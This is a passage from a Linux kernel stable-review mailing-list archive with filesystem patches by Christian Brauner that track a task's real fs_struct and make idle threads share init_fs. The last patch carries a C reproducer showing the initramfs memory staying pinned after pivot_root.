+ VFS_WARN_ON_ONCE(current->fs != revert_fs);
+ WRITE_ONCE(current->fs, revert_fs);
+}
+
+DEFINE_CLASS(__override_init_fs,
+ struct fs_struct *,
+ __revert_init_fs(_T),
+ __override_init_fs(), void)
+
+#define scoped_with_init_fs() \
+ scoped_class(__override_init_fs, __UNIQUE_ID(label))
+
+void __init init_userspace_fs(void);
+
#endif /* _LINUX_FS_STRUCT_H */
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 063/242] fs: add real_fs to track tasks actual fs_struct
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (61 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 062/242] fs: add scoped_with_init_fs() Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 064/242] fs: make userspace_init_fs a dynamically-initialized pointer Greg Kroah-Hartman
` (178 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit 1d4ee94a51bdb98610bf7283e6297b133f8c1025 ]
Add a real_fs field to task_struct that always mirrors the fs field.
This lays the groundwork for distinguishing between a task's permanent
fs_struct and one that is temporarily overridden via scoped_with_init_fs().
When a kthread temporarily overrides current->fs for path lookup, we
need to know the original fs_struct for operations like exit_fs() and
unshare_fs_struct() that must operate on the real, permanent fs.
For now real_fs is always equal to fs. It is maintained alongside fs in
all the relevant paths: exit_fs(), unshare_fs_struct(),
switch_fs_struct(), and copy_fs().
Link: https://patch.msgid.link/20260601-work-kthread-nullfs-v4-4-77ee053060e0@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/fs_struct.c | 11 ++++++++---
fs/proc/array.c | 4 ++--
fs/proc/base.c | 8 ++++----
fs/proc_namespace.c | 4 ++--
include/linux/sched.h | 1 +
init/init_task.c | 1 +
kernel/fork.c | 8 +++++++-
kernel/kcmp.c | 2 +-
8 files changed, 26 insertions(+), 13 deletions(-)
diff --git a/fs/fs_struct.c b/fs/fs_struct.c
index fcecf209f1a9e..c03a574ed65aa 100644
--- a/fs/fs_struct.c
+++ b/fs/fs_struct.c
@@ -61,7 +61,7 @@ void chroot_fs_refs(const struct path *old_root, const struct path *new_root)
read_lock(&tasklist_lock);
for_each_process_thread(g, p) {
task_lock(p);
- fs = p->fs;
+ fs = p->real_fs;
if (fs) {
int hits = 0;
write_seqlock(&fs->seq);
@@ -89,12 +89,13 @@ void free_fs_struct(struct fs_struct *fs)
void exit_fs(struct task_struct *tsk)
{
- struct fs_struct *fs = tsk->fs;
+ struct fs_struct *fs = tsk->real_fs;
if (fs) {
int kill;
task_lock(tsk);
read_seqlock_excl(&fs->seq);
+ tsk->real_fs = NULL;
tsk->fs = NULL;
kill = !--fs->users;
read_sequnlock_excl(&fs->seq);
@@ -126,7 +127,7 @@ struct fs_struct *copy_fs_struct(struct fs_struct *old)
int unshare_fs_struct(void)
{
- struct fs_struct *fs = current->fs;
+ struct fs_struct *fs = current->real_fs;
struct fs_struct *new_fs = copy_fs_struct(fs);
int kill;
@@ -135,8 +136,10 @@ int unshare_fs_struct(void)
task_lock(current);
read_seqlock_excl(&fs->seq);
+ VFS_WARN_ON_ONCE(fs != current->fs);
kill = !--fs->users;
current->fs = new_fs;
+ current->real_fs = new_fs;
read_sequnlock_excl(&fs->seq);
task_unlock(current);
@@ -177,8 +180,10 @@ struct fs_struct *switch_fs_struct(struct fs_struct *new_fs)
scoped_guard(task_lock, current) {
fs = current->fs;
+ VFS_WARN_ON_ONCE(fs != current->real_fs);
read_seqlock_excl(&fs->seq);
current->fs = new_fs;
+ current->real_fs = new_fs;
if (--fs->users)
new_fs = NULL;
else
diff --git a/fs/proc/array.c b/fs/proc/array.c
index 479ea8cb4ef43..f6f75d206762a 100644
--- a/fs/proc/array.c
+++ b/fs/proc/array.c
@@ -168,8 +168,8 @@ static inline void task_state(struct seq_file *m, struct pid_namespace *ns,
cred = get_task_cred(p);
task_lock(p);
- if (p->fs)
- umask = p->fs->umask;
+ if (p->real_fs)
+ umask = p->real_fs->umask;
if (p->files)
max_fds = files_fdtable(p->files)->max_fds;
task_unlock(p);
diff --git a/fs/proc/base.c b/fs/proc/base.c
index 780f812590527..6a39de424f62a 100644
--- a/fs/proc/base.c
+++ b/fs/proc/base.c
@@ -211,8 +211,8 @@ static int get_task_root(struct task_struct *task, struct path *root)
int result = -ENOENT;
task_lock(task);
- if (task->fs) {
- get_fs_root(task->fs, root);
+ if (task->real_fs) {
+ get_fs_root(task->real_fs, root);
result = 0;
}
task_unlock(task);
@@ -225,8 +225,8 @@ static int proc_cwd_link(struct dentry *dentry, struct path *path,
int result = -ENOENT;
task_lock(task);
- if (task->fs) {
- get_fs_pwd(task->fs, path);
+ if (task->real_fs) {
+ get_fs_pwd(task->real_fs, path);
result = 0;
}
task_unlock(task);
diff --git a/fs/proc_namespace.c b/fs/proc_namespace.c
index 5c555db68aa21..036356c0a55bb 100644
--- a/fs/proc_namespace.c
+++ b/fs/proc_namespace.c
@@ -254,13 +254,13 @@ static int mounts_open_common(struct inode *inode, struct file *file,
}
ns = nsp->mnt_ns;
get_mnt_ns(ns);
- if (!task->fs) {
+ if (!task->real_fs) {
task_unlock(task);
put_task_struct(task);
ret = -ENOENT;
goto err_put_ns;
}
- get_fs_root(task->fs, &root);
+ get_fs_root(task->real_fs, &root);
task_unlock(task);
put_task_struct(task);
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 5b36a3364ca09..4a2c3ea3c4e67 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -1191,6 +1191,7 @@ struct task_struct {
unsigned long last_switch_time;
#endif
/* Filesystem information: */
+ struct fs_struct *real_fs;
struct fs_struct *fs;
/* Open file information: */
diff --git a/init/init_task.c b/init/init_task.c
index b67ef6040a655..ba5c2523f7e0c 100644
--- a/init/init_task.c
+++ b/init/init_task.c
@@ -162,6 +162,7 @@ struct task_struct init_task __aligned(L1_CACHE_BYTES) = {
RCU_POINTER_INITIALIZER(cred, &init_cred),
.comm = INIT_TASK_COMM,
.thread = INIT_THREAD,
+ .real_fs = &init_fs,
.fs = &init_fs,
.files = &init_files,
#ifdef CONFIG_IO_URING
diff --git a/kernel/fork.c b/kernel/fork.c
index 739659e71af53..4441d415480c6 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1621,6 +1621,8 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)
static int copy_fs(u64 clone_flags, struct task_struct *tsk)
{
struct fs_struct *fs = current->fs;
+
+ VFS_WARN_ON_ONCE(current->fs != current->real_fs);
if (clone_flags & CLONE_FS) {
/* tsk->fs is already what we want */
read_seqlock_excl(&fs->seq);
@@ -1633,7 +1635,7 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk)
read_sequnlock_excl(&fs->seq);
return 0;
}
- tsk->fs = copy_fs_struct(fs);
+ tsk->real_fs = tsk->fs = copy_fs_struct(fs);
if (!tsk->fs)
return -ENOMEM;
return 0;
@@ -3251,6 +3253,10 @@ int ksys_unshare(unsigned long unshare_flags)
if (unshare_flags & CLONE_NEWNS)
unshare_flags |= CLONE_FS;
+ /* No unsharing with overriden fs state */
+ VFS_WARN_ON_ONCE(unshare_flags & (CLONE_NEWNS | CLONE_FS) &&
+ current->fs != current->real_fs);
+
err = check_unshare_flags(unshare_flags);
if (err)
goto bad_unshare_out;
diff --git a/kernel/kcmp.c b/kernel/kcmp.c
index 7c1a65bd5f8d3..76476aeee067b 100644
--- a/kernel/kcmp.c
+++ b/kernel/kcmp.c
@@ -186,7 +186,7 @@ SYSCALL_DEFINE5(kcmp, pid_t, pid1, pid_t, pid2, int, type,
ret = kcmp_ptr(task1->files, task2->files, KCMP_FILES);
break;
case KCMP_FS:
- ret = kcmp_ptr(task1->fs, task2->fs, KCMP_FS);
+ ret = kcmp_ptr(task1->real_fs, task2->real_fs, KCMP_FS);
break;
case KCMP_SIGHAND:
ret = kcmp_ptr(task1->sighand, task2->sighand, KCMP_SIGHAND);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 064/242] fs: make userspace_init_fs a dynamically-initialized pointer
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (62 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 063/242] fs: add real_fs to track tasks actual fs_struct Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 065/242] fs: add umh argument to struct kernel_clone_args Greg Kroah-Hartman
` (177 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit 9a8e296958884b807a02759975170b6559901242 ]
Change userspace_init_fs from a declared-but-unused extern struct to
a dynamically initialized pointer. Add init_userspace_fs() which is
called early in kernel_init() (PID 1) to record PID 1's fs_struct
as the canonical userspace filesystem state.
Wire up __override_init_fs() and __revert_init_fs() to actually swap
current->fs to/from userspace_init_fs. Previously these were no-ops
that stored current->fs back to itself.
Fix nullfs_userspace_init() to compare against userspace_init_fs
instead of &init_fs. When PID 1 unshares its filesystem state, revert
userspace_init_fs to init_fs's root (nullfs) so that stale filesystem
state is not silently inherited by kworkers and usermodehelpers.
At this stage PID 1's fs still points to rootfs (set by
init_mount_tree), so userspace_init_fs points to rootfs and
scoped_with_init_fs() is functionally equivalent to its previous no-op
behavior.
Link: https://patch.msgid.link/20260601-work-kthread-nullfs-v4-5-77ee053060e0@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/fs_struct.c | 48 ++++++++++++++++++++++++++++++++++++++-
include/linux/fs_struct.h | 15 ++++++------
include/linux/init_task.h | 1 +
init/main.c | 3 +++
4 files changed, 59 insertions(+), 8 deletions(-)
diff --git a/fs/fs_struct.c b/fs/fs_struct.c
index c03a574ed65aa..f44e43ce6d934 100644
--- a/fs/fs_struct.c
+++ b/fs/fs_struct.c
@@ -8,6 +8,7 @@
#include <linux/fs_struct.h>
#include <linux/init_task.h>
#include "internal.h"
+#include "mount.h"
/*
* Replace the fs->{rootmnt,root} with {mnt,dentry}. Put the old values.
@@ -163,15 +164,34 @@ EXPORT_SYMBOL_GPL(unshare_fs_struct);
* fs_struct state. Breaking that contract sucks for both sides.
* So just don't bother with extra work for this. No sane init
* system should ever do this.
+ *
+ * On older kernels if PID 1 unshared its filesystem state with us the
+ * kernel simply used the stale fs_struct state implicitly pinning
+ * anything that PID 1 had last used. Even if PID 1 might've moved on to
+ * some completely different fs_struct state and might've even unmounted
+ * the old root.
+ *
+ * This has hilarious consequences: Think continuing to dump coredump
+ * state into an implicitly pinned directory somewhere. Calling random
+ * binaries in the old rootfs via usermodehelpers.
+ *
+ * Be aggressive about this: We simply reject operating on stale
+ * fs_struct state by reverting to nullfs. Every kworker that does
+ * lookups after this point will fail. Every usermodehelper call will
+ * fail. Tough luck but let's be kind and emit a warning to userspace.
*/
static inline void validate_fs_switch(struct fs_struct *old_fs)
{
+ might_sleep();
+
if (likely(current->pid != 1))
return;
/* @old_fs may be dangling but for comparison it's fine */
- if (old_fs != &init_fs)
+ if (old_fs != userspace_init_fs)
return;
pr_warn("VFS: Pid 1 stopped sharing filesystem state\n");
+ set_fs_root(userspace_init_fs, &init_fs.root);
+ set_fs_pwd(userspace_init_fs, &init_fs.root);
}
struct fs_struct *switch_fs_struct(struct fs_struct *new_fs)
@@ -201,3 +221,29 @@ struct fs_struct init_fs = {
.seq = __SEQLOCK_UNLOCKED(init_fs.seq),
.umask = 0022,
};
+
+struct fs_struct *userspace_init_fs __ro_after_init;
+EXPORT_SYMBOL_GPL(userspace_init_fs);
+
+void __init init_userspace_fs(void)
+{
+ struct mount *m;
+ struct path root;
+
+ /* Move PID 1 from nullfs into the initramfs. */
+ m = topmost_overmount(current->nsproxy->mnt_ns->root);
+ root.mnt = &m->mnt;
+ root.dentry = root.mnt->mnt_root;
+
+ VFS_WARN_ON_ONCE(current->pid != 1);
+
+ set_fs_root(current->fs, &root);
+ set_fs_pwd(current->fs, &root);
+
+ /* Hold a reference for the global pointer. */
+ read_seqlock_excl(¤t->fs->seq);
+ current->fs->users++;
+ read_sequnlock_excl(¤t->fs->seq);
+
+ userspace_init_fs = current->fs;
+}
diff --git a/include/linux/fs_struct.h b/include/linux/fs_struct.h
index e11d0e57168fd..97eef8d3863dd 100644
--- a/include/linux/fs_struct.h
+++ b/include/linux/fs_struct.h
@@ -17,6 +17,7 @@ struct fs_struct {
} __randomize_layout;
extern struct kmem_cache *fs_cachep;
+extern struct fs_struct *userspace_init_fs;
extern void exit_fs(struct task_struct *);
extern void set_fs_root(struct fs_struct *, const struct path *);
@@ -57,17 +58,17 @@ static inline int current_umask(void)
*/
static inline struct fs_struct *__override_init_fs(void)
{
- struct fs_struct *fs;
+ struct fs_struct *old_fs;
- fs = current->fs;
- WRITE_ONCE(current->fs, fs);
- return fs;
+ old_fs = current->fs;
+ WRITE_ONCE(current->fs, userspace_init_fs);
+ return old_fs;
}
-static inline void __revert_init_fs(struct fs_struct *revert_fs)
+static inline void __revert_init_fs(struct fs_struct *old_fs)
{
- VFS_WARN_ON_ONCE(current->fs != revert_fs);
- WRITE_ONCE(current->fs, revert_fs);
+ VFS_WARN_ON_ONCE(current->fs != userspace_init_fs);
+ WRITE_ONCE(current->fs, old_fs);
}
DEFINE_CLASS(__override_init_fs,
diff --git a/include/linux/init_task.h b/include/linux/init_task.h
index a6cb241ea00c3..61536be773f59 100644
--- a/include/linux/init_task.h
+++ b/include/linux/init_task.h
@@ -24,6 +24,7 @@
extern struct files_struct init_files;
extern struct fs_struct init_fs;
+extern struct fs_struct *userspace_init_fs;
extern struct nsproxy init_nsproxy;
#ifndef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE
diff --git a/init/main.c b/init/main.c
index dd7b2a6599fca..367faf4bfc65f 100644
--- a/init/main.c
+++ b/init/main.c
@@ -103,6 +103,7 @@
#include <linux/stackdepot.h>
#include <linux/randomize_kstack.h>
#include <linux/pidfs.h>
+#include <linux/fs_struct.h>
#include <linux/ptdump.h>
#include <linux/time_namespace.h>
#include <linux/unaligned.h>
@@ -1545,6 +1546,8 @@ static int __ref kernel_init(void *unused)
{
int ret;
+ init_userspace_fs();
+
/*
* Wait until kthreadd is all set-up.
*/
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 065/242] fs: add umh argument to struct kernel_clone_args
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (63 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 064/242] fs: make userspace_init_fs a dynamically-initialized pointer Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 066/242] fs: pass flags to copy_fs() Greg Kroah-Hartman
` (176 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit ed4b1672529018b2013c62235c4bf1ab0ae0e3d4 ]
Add a umh field to struct kernel_clone_args. When set, copy_fs() copies
from pid 1's fs_struct instead of the kthread's fs_struct. This ensures
usermodehelper threads always get init's filesystem state regardless of
their parent's (kthreadd's) fs.
Usermodehelper threads are not allowed to create mount namespaces
(CLONE_NEWNS), share filesystem state (CLONE_FS), or be started from
a non-initial mount namespace. No usermodehelper currently does this so
we don't need to worry about this restriction.
Set .umh = 1 in user_mode_thread(). At this stage pid 1's fs points to
rootfs which is the same as kthreadd's fs, so this is functionally
equivalent.
Link: https://patch.msgid.link/20260601-work-kthread-nullfs-v4-20-77ee053060e0@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
include/linux/sched/task.h | 1 +
kernel/fork.c | 25 +++++++++++++++++++++----
kernel/umh.c | 6 ++----
3 files changed, 24 insertions(+), 8 deletions(-)
diff --git a/include/linux/sched/task.h b/include/linux/sched/task.h
index 41ed884cffc96..e0c1ca8c6a188 100644
--- a/include/linux/sched/task.h
+++ b/include/linux/sched/task.h
@@ -31,6 +31,7 @@ struct kernel_clone_args {
u32 io_thread:1;
u32 user_worker:1;
u32 no_files:1;
+ u32 umh:1;
unsigned long stack;
unsigned long stack_size;
unsigned long tls;
diff --git a/kernel/fork.c b/kernel/fork.c
index 4441d415480c6..2f736fa44798b 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1618,11 +1618,27 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)
return task_exec_state_copy(tsk);
}
-static int copy_fs(u64 clone_flags, struct task_struct *tsk)
+static int copy_fs(u64 clone_flags, struct task_struct *tsk, bool umh)
{
- struct fs_struct *fs = current->fs;
+ struct fs_struct *fs;
+
+ /*
+ * Usermodehelper may copy userspace_init_fs filesystem state but
+ * they don't get to create mount namespaces, share the
+ * filesystem state, or be started from a non-initial mount
+ * namespace.
+ */
+ if (umh) {
+ if (clone_flags & (CLONE_NEWNS | CLONE_FS))
+ return -EINVAL;
+ if (current->nsproxy->mnt_ns != &init_mnt_ns)
+ return -EINVAL;
+ fs = userspace_init_fs;
+ } else {
+ fs = current->fs;
+ VFS_WARN_ON_ONCE(current->fs != current->real_fs);
+ }
- VFS_WARN_ON_ONCE(current->fs != current->real_fs);
if (clone_flags & CLONE_FS) {
/* tsk->fs is already what we want */
read_seqlock_excl(&fs->seq);
@@ -2282,7 +2298,7 @@ __latent_entropy struct task_struct *copy_process(
retval = copy_files(clone_flags, p, args->no_files);
if (retval)
goto bad_fork_cleanup_semundo;
- retval = copy_fs(clone_flags, p);
+ retval = copy_fs(clone_flags, p, args->umh);
if (retval)
goto bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
@@ -2825,6 +2841,7 @@ pid_t user_mode_thread(int (*fn)(void *), void *arg, unsigned long flags)
.exit_signal = (flags & CSIGNAL),
.fn = fn,
.fn_arg = arg,
+ .umh = 1,
};
return kernel_clone(&args);
diff --git a/kernel/umh.c b/kernel/umh.c
index 48117c569e1aa..6e2c7bb315c68 100644
--- a/kernel/umh.c
+++ b/kernel/umh.c
@@ -71,10 +71,8 @@ static int call_usermodehelper_exec_async(void *data)
spin_unlock_irq(¤t->sighand->siglock);
/*
- * Initial kernel threads share ther FS with init, in order to
- * get the init root directory. But we've now created a new
- * thread that is going to execve a user process and has its own
- * 'struct fs_struct'. Reset umask to the default.
+ * Usermodehelper threads get a copy of userspace init's
+ * fs_struct. Reset umask to the default.
*/
current->fs->umask = 0022;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 066/242] fs: pass flags to copy_fs()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (64 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 065/242] fs: add umh argument to struct kernel_clone_args Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 067/242] fs: let idle threads share init_fs Greg Kroah-Hartman
` (175 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit 9cd0df397a119d6b95ad68e2c82b69b4d620694e ]
Turn the umh boolean into a flags argument. Idle threads need their own
case in copy_fs() as well and that's nicer than a second boolean.
No functional changes.
Link: https://patch.msgid.link/20261013-work-fs-idle_fs-v1-1-2063d1bcb5aa@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/fork.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/kernel/fork.c b/kernel/fork.c
index 2f736fa44798b..92edfd918b74b 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1618,7 +1618,12 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)
return task_exec_state_copy(tsk);
}
-static int copy_fs(u64 clone_flags, struct task_struct *tsk, bool umh)
+enum copy_fs_flags_t {
+ COPY_FS_UMH = (1 << 0),
+};
+
+static int copy_fs(u64 clone_flags, struct task_struct *tsk,
+ enum copy_fs_flags_t flags)
{
struct fs_struct *fs;
@@ -1628,7 +1633,7 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk, bool umh)
* filesystem state, or be started from a non-initial mount
* namespace.
*/
- if (umh) {
+ if (flags & COPY_FS_UMH) {
if (clone_flags & (CLONE_NEWNS | CLONE_FS))
return -EINVAL;
if (current->nsproxy->mnt_ns != &init_mnt_ns)
@@ -2298,7 +2303,7 @@ __latent_entropy struct task_struct *copy_process(
retval = copy_files(clone_flags, p, args->no_files);
if (retval)
goto bad_fork_cleanup_semundo;
- retval = copy_fs(clone_flags, p, args->umh);
+ retval = copy_fs(clone_flags, p, args->umh ? COPY_FS_UMH : 0);
if (retval)
goto bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 7.2 067/242] fs: let idle threads share init_fs
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (65 preceding siblings ...)
2026-10-23 16:38 ` [PATCH 7.2 066/242] fs: pass flags to copy_fs() Greg Kroah-Hartman
@ 2026-10-23 16:38 ` Greg Kroah-Hartman
2026-10-23 16:38 ` [PATCH 7.2 068/242] tracing: Fix empty symbol names in simple_ring_buffer undef check Greg Kroah-Hartman
` (174 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:38 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Christian Brauner (Amutable),
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <brauner@kernel.org>
[ Upstream commit d2bdb9b61b42766ed66eef822370ad44435f40fe ]
With nullfs as the real rootfs userspace can pivot_root() away from the
initramfs and unmount it:
chdir(rootfs);
pivot_root(".", ".");
umount2(".", MNT_DETACH);
That's what systemd does and the initramfs is supposed to go away at
that point together with all the memory it uses. But on every machine
with more than one possible cpu the initramfs superblock stays around
forever (cf. [1]). With ramfs as rootfs the unpacked initramfs shows up
as Unevictable in /proc/meminfo, with tmpfs as Shmem, and it is never
freed. In the reports that's between 70MB and 150MB.
The idle threads of the secondary cpus are created by fork_idle() from
smp_init(). That runs in kernel_init(), i.e., in PID 1, after
init_userspace_fs() moved PID 1 from nullfs into the initramfs.
fork_idle() doesn't pass CLONE_FS so each idle thread gets a private
copy of PID 1's fs_struct and with it a reference to the initramfs as
root and as pwd.
pivot_root() relies on chroot_fs_refs() to move everyone whose root or
pwd is the old root over to the new root. Idle threads aren't on the
task list though so chroot_fs_refs() never finds them. They never exit
either. So they keep the initramfs mount and with it the superblock
alive for good. I overlooked this when I added nullfs. Before that the
rootfs could never be unmounted anyway so it didn't matter what pinned
it.
Idle threads are kernel threads and init_task, the idle thread of the
boot cpu, already uses init_fs. So let the idle threads of the other
cpus share init_fs as well instead of copying PID 1's filesystem state.
Note that kernels before 7.3 need a different backport. There PID 1
still shares init_fs with all kthreads so passing CLONE_FS in
fork_idle() is enough. They also have a second pin: devtmpfsd unshares
a copy of the initial mount namespace, initramfs mount included. That
was fixed in commit 66d2faeccbff ("devtmpfs: create private mount
namespace").
Reproducer, as /init in an initramfs together with a 128MB ballast
file, booted with root=/dev/sda to get ramfs and with -smp 4:
// SPDX-License-Identifier: GPL-2.0
/* initramfs /init: switch root like systemd, check the old root */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/reboot.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <unistd.h>
static void meminfo(void)
{
char line[256];
FILE *f = fopen("/proc/meminfo", "re");
while (f && fgets(line, sizeof(line), f))
if (!strncmp(line, "Unevictable:", 12) ||
!strncmp(line, "Shmem:", 6))
fputs(line, stdout);
if (f)
fclose(f);
}
int main(int argc, char *argv[])
{
struct stat st;
char dev[32], buf[32];
unsigned int maj, min;
int fd, in, out;
long r;
if (argc > 1) {
sleep(2);
meminfo();
/* ustat() only finds live superblocks */
r = syscall(SYS_ustat, (unsigned)atoi(argv[1]), buf);
printf("initramfs superblock %s\n", r ? "freed" : "pinned");
fflush(stdout);
sleep(1);
reboot(RB_POWER_OFF);
}
mount("proc", "/proc", "proc", 0, NULL);
mount("devtmpfs", "/dev", "devtmpfs", 0, NULL);
/* drop the fds console_on_rootfs() opened in the initramfs */
fd = open("/dev/console", O_RDWR);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
close(fd);
setvbuf(stdout, NULL, _IOLBF, 0);
meminfo();
stat("/", &st);
maj = major(st.st_dev);
min = minor(st.st_dev);
/* new_encode_dev(), what ustat() expects */
snprintf(dev, sizeof(dev), "%u",
(min & 0xff) | (maj << 8) | ((min & ~0xffu) << 12));
mkdir("/sysroot", 0755);
mount("tmpfs", "/sysroot", "tmpfs", 0, NULL);
mkdir("/sysroot/proc", 0755);
mkdir("/sysroot/dev", 0755);
in = open("/init", O_RDONLY);
out = open("/sysroot/init", O_WRONLY | O_CREAT, 0755);
fstat(in, &st);
sendfile(out, in, NULL, st.st_size);
close(in);
close(out);
mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL);
mount("/proc", "/sysroot/proc", NULL, MS_BIND | MS_REC, NULL);
mount("/dev", "/sysroot/dev", NULL, MS_BIND | MS_REC, NULL);
chdir("/sysroot");
if (syscall(SYS_pivot_root, ".", ".") || umount2(".", MNT_DETACH))
perror("pivot_root");
execl("/init", "/init", dev, NULL);
return 1;
}
Before:
Unevictable: 131812 kB
Shmem: 0 kB
Unevictable: 131812 kB
Shmem: 792 kB
initramfs superblock pinned
After:
Unevictable: 131812 kB
Shmem: 0 kB
Unevictable: 0 kB
Shmem: 792 kB
initramfs superblock freed
With -smp 1 the superblock is freed without this patch as well.
[1]: https://github.com/systemd/systemd/issues/43911
Fixes: 576ee5dfd459 ("fs: add immutable rootfs")
Link: https://patch.msgid.link/20261013-work-fs-idle_fs-v1-2-2063d1bcb5aa@kernel.org
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
kernel/fork.c | 11 ++++++++---
1 file changed, 8 insertions(+), 3 deletions(-)
diff --git a/kernel/fork.c b/kernel/fork.c
index 92edfd918b74b..fceeada14c7fd 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -1620,6 +1620,7 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)
enum copy_fs_flags_t {
COPY_FS_UMH = (1 << 0),
+ COPY_FS_IDLE = (1 << 1),
};
static int copy_fs(u64 clone_flags, struct task_struct *tsk,
@@ -1639,13 +1640,14 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk,
if (current->nsproxy->mnt_ns != &init_mnt_ns)
return -EINVAL;
fs = userspace_init_fs;
+ } else if (flags & COPY_FS_IDLE) {
+ fs = &init_fs;
} else {
fs = current->fs;
VFS_WARN_ON_ONCE(current->fs != current->real_fs);
}
if (clone_flags & CLONE_FS) {
- /* tsk->fs is already what we want */
read_seqlock_excl(&fs->seq);
/* "users" and "in_exec" locked for check_unsafe_exec() */
if (fs->in_exec) {
@@ -1654,6 +1656,7 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk,
}
fs->users++;
read_sequnlock_excl(&fs->seq);
+ tsk->real_fs = tsk->fs = fs;
return 0;
}
tsk->real_fs = tsk->fs = copy_fs_struct(fs);
@@ -2303,7 +2306,9 @@ __latent_entropy struct task_struct *copy_process(
retval = copy_files(clone_flags, p, args->no_files);
if (retval)
goto bad_fork_cleanup_semundo;
- retval = copy_fs(clone_flags, p, args->umh ? COPY_FS_UMH : 0);
+ retval = copy_fs(clone_flags, p,
+ (args->umh ? COPY_FS_UMH : 0) |
+ (args->idle ? COPY_FS_IDLE : 0));
if (retval)
goto bad_fork_cleanup_files;
retval = copy_sighand(clone_flags, p);
